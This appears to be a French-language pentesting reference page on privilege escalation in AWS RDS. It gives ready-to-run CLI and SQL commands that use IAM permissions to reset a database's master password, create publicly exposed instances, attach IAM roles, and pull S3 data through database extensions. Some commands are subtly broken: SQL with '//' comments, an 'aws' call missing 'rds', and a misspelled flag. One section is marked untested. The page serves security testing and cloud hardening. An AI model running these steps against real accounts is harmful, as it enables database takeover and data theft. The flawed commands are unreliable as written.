# AWS - RDS Privesc

{{#include ../../../banners/hacktricks-training.md}}

## RDS - Service de base de données relationnelle

Pour plus d'informations sur RDS, consultez :

{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### `rds:ModifyDBInstance`

Avec cette permission, un attaquant peut **modifier le mot de passe de l'utilisateur principal**, et la connexion à l'intérieur de la base de données :
```bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Vous devrez être en mesure de **contacter la base de données** (elles sont généralement accessibles uniquement depuis des réseaux internes).

**Impact potentiel :** Trouver des informations sensibles à l'intérieur des bases de données.

### rds-db:connect

Selon les [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un utilisateur avec cette permission pourrait se connecter à l'instance de DB.

### Abuser des permissions IAM du rôle RDS

#### Postgresql (Aurora)

> [!TIP]
> Si en exécutant **`SELECT datname FROM pg_database;`** vous trouvez une base de données appelée **`rdsadmin`**, vous savez que vous êtes à l'intérieur d'une **base de données postgresql AWS**.

Tout d'abord, vous pouvez vérifier si cette base de données a été utilisée pour accéder à un autre service AWS. Vous pourriez vérifier cela en regardant les extensions installées :
```sql
SELECT * FROM pg_extension;
```
Si vous trouvez quelque chose comme **`aws_s3`**, vous pouvez supposer que cette base de données a **une sorte d'accès à S3** (il existe d'autres extensions telles que **`aws_ml`** et **`aws_lambda`**).

De plus, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`**, vous pouvez voir là si le **cluster a un rôle IAM associé** dans le champ **`AssociatedRoles`**. S'il y en a, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. En fonction du **nom du rôle** (ou si vous pouvez obtenir les **permissions** du rôle), vous pourriez **deviner** quel accès supplémentaire la base de données a.

Maintenant, pour **lire un fichier à l'intérieur d'un bucket**, vous devez connaître le chemin complet. Vous pouvez le lire avec :
```sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;
```
Si vous aviez **des identifiants AWS bruts**, vous pourriez également les utiliser pour accéder aux données S3 avec :
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **n'a pas besoin de changer de variable de groupe de paramètres** pour pouvoir accéder à S3.

#### Mysql (Aurora)

> [!TIP]
> À l'intérieur d'un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il y a un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes dans une **base de données mysql AWS RDS**.

À l'intérieur du mysql, exécutez **`show variables;`** et si des variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez supposer que la base de données est préparée pour accéder aux données S3.

De plus, si vous avez les autorisations pour exécuter **`aws rds describe-db-clusters`**, vous pouvez vérifier si le cluster a un **rôle associé**, ce qui signifie généralement un accès aux services AWS.

Maintenant, pour **lire un fichier à l'intérieur d'un bucket**, vous devez connaître le chemin complet. Vous pouvez le lire avec :
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`

Un attaquant avec les permissions `rds:AddRoleToDBCluster` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données au sein de l'instance.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.\
Notez que certaines bases de données nécessitent des configurations supplémentaires telles que Mysql, qui doit spécifier l'ARN du rôle dans les groupes de paramètres également.

### `rds:CreateDBInstance`

Juste avec cette permission, un attaquant pourrait créer une **nouvelle instance à l'intérieur d'un cluster** qui existe déjà et a un **rôle IAM** attaché. Il ne pourra pas changer le mot de passe de l'utilisateur principal, mais il pourrait être en mesure d'exposer la nouvelle instance de base de données à Internet :
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
```
### `rds:CreateDBInstance`, `iam:PassRole`

> [!NOTE]
> TODO: Tester

Un attaquant avec les permissions `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données au sein de l'instance.

> [!WARNING]
> Certaines exigences du rôle/profil d'instance à attacher (depuis [**ici**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)) :

> - Le profil doit exister dans votre compte.
> - Le profil doit avoir un rôle IAM que Amazon EC2 a la permission d'assumer.
> - Le nom du profil d'instance et le nom du rôle IAM associé doivent commencer par le préfixe `AWSRDSCustom`.
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.

### `rds:AddRoleToDBInstance`, `iam:PassRole`

Un attaquant disposant des autorisations `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données au sein de l'instance.

> [!WARNING]
> L'instance DB doit être en dehors d'un cluster pour cela.
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.

{{#include ../../../banners/hacktricks-training.md}}
